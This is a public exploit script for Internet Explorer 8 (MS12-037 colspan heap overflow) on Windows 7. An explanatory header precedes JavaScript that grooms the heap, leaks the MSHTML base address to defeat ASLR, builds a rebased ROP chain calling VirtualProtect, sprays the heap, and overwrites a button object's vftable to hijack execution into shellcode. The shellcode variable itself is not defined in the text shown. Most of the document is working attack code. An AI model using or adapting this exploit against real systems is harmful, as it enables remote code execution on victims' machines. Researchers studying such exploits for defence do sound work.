/* _____ _________ ____ ________ _______ ________ _________ / \ / _____//_ |\_____ \ \ _ \ \_____ \\______ \ / \ / \ \_____ \ | | / ____/ ______/ /_\ \ _(__ < / / / Y \ / \ | |/ \/_____/\ \_/ \ / \ / / \____|__ //_______ / |___|\_______ \ \_____ //______ / /____/ \/ \/ \/ \/ \/ Exploit Title: Internet Explorer 32-bit Colspan Heap Overflow Date: 2021-05-24 Exploit Author: deadlock (Forrest Orr) Vendor Homepage: https://www.microsoft.com/ Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx Version: IE8 32-bit Tested on: Windows 7 SP1 Pro x64/Internet Explorer 8 32-bit (8.00.7601.17514) CVE: MS12-037 Bypasses: DEP, ASLR ------------------------------------------------------------------------------- Overview This exploit is loosely based on the public Metasploit module for MS12-037 on Github [1]. It does however contain substantial enhancements when compared to the MSF version - these are: ASLR bypass via infoleak and pseudo-dynamic ROP chain creation via runtime gadget module re-basing. The exploit works by triggering two consecutive heap overflows, both targetting a CButtonLayout object. The first overflow is used to read MSHTML.DLL module pointers from the CButtonLayout, while the second overflow is used to overwrite the vftable pointer of this same CButtonLayout. A method within this object is subsequently called, triggering an EIP redirect via a heap sprayed vftable to a stack pivot in MSHTML.DLL. The underlying bug is within a colspan array buffer referenced by a CTableLayout structure. CTableLayout contains a pointer to an array of column span objects, each with a size of 0x1C, with a total count equal to that of the "span" value of the bugged column tag (ID "132"). When the value of "span" is changed, the size of the colspan array dynamically grows but is NOT re-allocated, resulting in a heap overflow. The heap overflow itself is limited in the sense that the data in the overflow cannot be fully controlled. It can be influenced, in the sense that the span objects in the array are (to a large extent) populated with values derived from the "width" field of the column. Thus we can ensure that the data within the heap overflow will primarily consist of a repeated arbitrary 32-bit value of our choice. This value is a new (larger) BSTR length in the first heap overflow, and the absolute address of a heap sprayed fake vftable in the second heap overflow. ~ Quirks The MSF version of this exploit did not work on Windows 7 64-bit in any of my tests. While analyzing the exploit, I discovered a strange inconsistency in the MSF code, wherein the author had made the assumption that the "width" value of the column will be multiplied by 100 when calculating the values to be embedded into the colspan buffer array. On my Windows 7 64-bit OS, the width is multiplied by 150, thus I had to calculate my heap spray address differently. Additionally, the absolute address of the heap sprayed vftable in the MSF variation of this exploit (0x07070024) was highly unreliable in my own tests, often already being committed by the memory manager. Therefore, I chose a significantly higher address (0x0AEB0024) for my own heap spray. Because of the fact that my chosen heap spray address of 0x0AEB0024 is not a clean multiple of 150, I had to chose a slightly higher address which was a clean multiple (0x0AEB0082) and then pad the start of my heap sprayed chunks with the difference (94 bytes) for a clean EIP direct when the vftable of the corrupted CButtonLayout is hijacked. The heap grooming in this exploit has been highly reliable in my tests, but as with most heap grooming its efficacy will lean heavily upon the state of the heap within iexplore.exe at the time the exploit is executed. From a clean iexplore.exe process, its success rate is 99-100%. Within an iexplore.exe which has loaded complex web pages prior to exploit execution, its success rate is around 90% depending on the web page(s) in question. ~ Links 1. https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms12_037_ie_colspan.rb */ //////// //////// // Debug/timer code //////// var EnableDebug = false; var EnableTimers = false; var AlertOutput = false; var TimeStart; var ReadCount; var ScriptTimeStart = new Date().getTime(); function StartTimer() { ReadCount = 0; TimeStart = new Date().getTime(); } function EndTimer(Message) { var TotalTime = (new Date().getTime() - TimeStart); if(EnableTimers) { if(AlertOutput) { alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } else { console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } } } function DebugLog(Message) { if(EnableDebug) { // When debug is enabled the distinction between "stack overflow" and "out of memory" errors are lost: console always determines there to be an "out of memory" condition even though this only sppears after scoping of SortDepth is changed. if(AlertOutput) { alert(Message); } else { console.log(Message); // In IE, console only works if devtools is open. } } } //////// //////// // Globals/settings //////// // DIV to hold references to sprayed CButtonLayout object allocations (so they will not be freed by GC) var ButtonContainerDiv = document.getElementById("ButtonContainer"); ButtonContainerDiv.style.cssText = "display:none"; // Heap spray VirtualAllocBlock count and persistent global reference array to keep them from being freed var SprayCount = 400; // This is enough to consistently hit 0x0AEB0000 var SprayArray = new Array(SprayCount); // CollectGarbage will free heap sprayed chunks if this is not global. // Persistent global reference storage array for heap grooming BSTRs var FreeBlocks = new Array(); // Globally declare these so that they are not freed when the heap grooming function returns var A_StrBlocks = new Array(); var B_StrBlocks = new Array(); var Clog_StrBlocks = new Array(); //////// //////// // Heap spray logic //////// function HeapSpray(Content, StartOffset, RegionCount) { // Spray the data specified in Content in 0x10000 chunks within 1MB allocated regions. The starting offset of the content in the 1MB chunks may be 0, or any multiple of 2. var PrePadding = unescape("%u1111"); var TailPadding = unescape("%u2222"); var Data; if(StartOffset > 0) { Data = PrePadding; for(var i = 0; i < ((StartOffset / 2) - 1); i++) { // -1 for var init Data += PrePadding; } Data += Content } else { Data = Content; } // These are chunks of 0x10000 bytes, then x 16 for 1MB. 0x10000 is the ideal size for heap spray as it ensures consistency, while 1MB is not (they will not always begin at a consistent 1MB multiple). 1MB chunks have a 0x20 header size, others have 0x8. 0x10000 will end up as sub-chunks within the 1MB allocations with no headers. This ensures that any multiple of 0x10000 ie. 0x11a00000, 0x11b00000, etc. will always be hit, and the payload will be at offset 0x24 within them (to accomodate 1MB header size of 0x20 + 4 byte BSTR length). while (TailPadding.length < (65536/2)) { // This is a fast way of making a large chunk TailPadding = TailPadding + TailPadding } Data = Data + TailPadding; // 65536 * 16 = 1048576 (1MB). Exclude 38 (0x26) bytes for heap chunk header (0x20 bytes), BSTR length (0x4 bytes), null terminator (0x2 bytes). var SprayChunk = Data.substr(0, 65536/2); for(var i = 0; i < 14; i++) { SprayChunk += Data.substr(0, 65536/2); } SprayChunk += Data.substr(0, (65536/2) - (38/2)); for(var i = 0; i < RegionCount; i++) { SprayArray[i] = SprayChunk.substr(0, SprayChunk.length); } } //////// //////// // Pseudo-dynamic ROP chain creation logic //////// function ReBaseRopChain(ModuleBase) { var RopChain = [ ModuleBase + Number(0x00014ef8), // RET ModuleBase + Number(0x00014ef7), // POP EAX ; RET // MSHTML.DLL will CALL [EAX + 8] while trying to access a method within the corrupted/overflowed CButtonLayout where EAX is 0x0AEB0082, my padded heap spray block (the fake vftable). ModuleBase + Number(0x14F917), // XCHG EAX, ESP ; RETN 0 ModuleBase + Number(0x00014ef7), // POP EAX ModuleBase + Number(0x1348), // MSHTML!VirtualProtect ModuleBase + Number(0x6F0BB), // MOV EAX, DWORD PTR [EAX] ; RET ModuleBase + Number(0x28E833), // XCHG EAX, ESI ; RET ModuleBase + Number(0x00014ef7), // POP EAX 0x90909090, ModuleBase + Number(0x00002c60), // POP EBP ; RET ModuleBase + Number(0x372369), // JMP ESP ModuleBase + Number(0x00003059), // POP EBX ; RET 0x5000, ModuleBase + Number(0x00002fa9), // POP ECX ; RET ModuleBase + Number(0x00538000), // ModuleBase + Number(0x0009ced0), // POP EDX ; RET 0x00000040, ModuleBase + Number(0x000030ae), // POP EDI ; RET ModuleBase + Number(0x00014ef8), // ROPNOP ModuleBase + Number(0x000394a1), // PUSHAD ; RET 0x90909090 // Alignment NOP sled for this table. Will be combined with NOP sled from EAX for a total length of 8 bytes. ]; return RopChain; } //////// //////// // Misc/helper code //////// function DwordToUnicode(Dword) { var Unicode = String.fromCharCode(Dword & 0xFFFF); Unicode += String.fromCharCode(Dword >> 16); return Unicode; } function TableToUnicode(Table) { var Unicode = ""; for(var i = 0; i < Table.length; i++) { Unicode += DwordToUnicode(Table[i]); } return Unicode; } function PadString(Count, PadChar) { var Str = ""; var Offset = 0; do { Str += PadChar; Offset += 1; } while (Offset < Count); return Str; } function UnicodeStrToInt(Str) { return (Str.charCodeAt(1) * 0x10000) + Str.charCodeAt(0); // 2 wide chars = 4 bytes } //////// //////// // Heap grooming logic //////// function HeapGroom(){ var FreeStr = PadString(125, "F"); // 250 (0xFA) bytes, +4 for BSTR length = 254 (0xFE), +2 for null terminator = 256 (0x100). Span (size 0x1C * 9) = 0xFC. var A_Str = PadString(125, "A"); // The purpose of the A Block is to properly align the B block with a viable span value. Placing a BSTR directly after the CTableLayout makes corruption of its BSTR length difficult var B_Str = PadString(125, "B") var ClogStr = PadString(125, "C"); // Clog any existing free chunks on the heap for our span size: without this, the exploit will typically fail in a scenario where the browser had actually been used to previously load full web pages due to the noise. It also solves the edge case bug of the LFH bucket for our 0x100 chunk size has not yet been activated, and importnt alloctions may be lost to the Back End Allocator. for(var i = 0; i < 1000; i++) { // 1000 gives me the most stable result: anything larger and the exploit begins to consistently fail: this may be due to the LFH subsegment filling up. Clog_StrBlocks[i] = ClogStr.substr(0, 125); } // Windows 7 Front End Allocator allocs will be placed sequentially one after the other in their respective LFH bucket. If there we no pre-existing holes in this bucket, then the heap should end up with an arrangement of allocations that are lined up perfectly in memory. Notably, an edge case always exists in heap grooming on both FEA and BEA wherein allocations may end up split/spread accross multiple segments in the event that one segment becomes full and a new one must be created (the same holds true for LFH subsegments). For example the desired ordering of: [Free][A][B][CButtonLayout] may end up filling up the existing LFH subsegment, resulting in the first subsegment containing [Free][A] and the second (new) subsegment containing [B][CButtonLayout] for(var i = 0; i < 500; i++) { // [Free][A][B][CButtonLayout] FreeBlocks[i] = FreeStr.substr(0, 125); A_StrBlocks[i] = A_Str.substr(0, 125); B_StrBlocks[i] = B_Str.substr(0, 125); var CButtonObj = document.createElement("button"); ButtonContainerDiv.appendChild(CButtonObj); } for(var i = 0; i < 500; i++) { FreeBlocks[i] = null; } CollectGarbage(); // [Free][A][B][CButtonLayout] -> [Span array][A][B][CButtonLayout] } //////// //////// // Infoleak/EIP hijack logic //////// function HarvestInfoleak(){ var OverflowedBlockIndex = -1; for(var i = 0; i < 500; i++) { if(B_StrBlocks[i].length != 125) { OverflowedBlockIndex = i; break; } } if(OverflowedBlockIndex != -1) { DebugLog(OverflowedBlockIndex); var MshtmlBase = UnicodeStrToInt(B_StrBlocks[OverflowedBlockIndex].substr(136, 140)); MshtmlBase = MshtmlBase - Number(0x158690); return MshtmlBase; } else { alert("Infoleak failed. No BSTR length corrupted. This bug may be patched on your instance of IE, or background noise in the iexplore.exe process may have caused heap grooming to fail."); } } function EipHijack() { var MshtmlBase = HarvestInfoleak(); DebugLog(MshtmlBase.toString(16)); var RopChain = TableToUnicode(ReBaseRopChain(MshtmlBase)) ; var Payload = RopChain + Shellcode; HeapSpray(Payload, 94, 400); // 0x0AEB0082 - 0x0AEB0024 bytes of padding DebugLog("Heap spray finished... overwriting CButtonLayout vftable..."); VftableOverflow(); } //////// //////// // Heap overflow code //////// function InfoleakOverflow() { var BuggedCol = document.getElementById("132"); BuggedCol.width = "149"; // Multiple of 150, not 100. BuggedCol.span = "22"; } function VftableOverflow() { var BuggedCol = document.getElementById("132"); BuggedCol.width = "1221155"; // 0x0AEB0082. Multiple of 150, not 100. BuggedCol.span = "44"; } //////// //////// // Primary high-level exploit logic //////// HeapGroom(); // GC is async setTimeout(function(){InfoleakOverflow()},500); // Heap overflow does not immediately occur after span is modified. setTimeout(function(){EipHijack()},1500); // Since GC is async, for extra stability I sleep after running it in HeapGroom, and this in turn requires accurately spacing InfoleakOverflow and HarvestInfoleak. When both the setTimeout routines run, they set their timers and then continue execution async.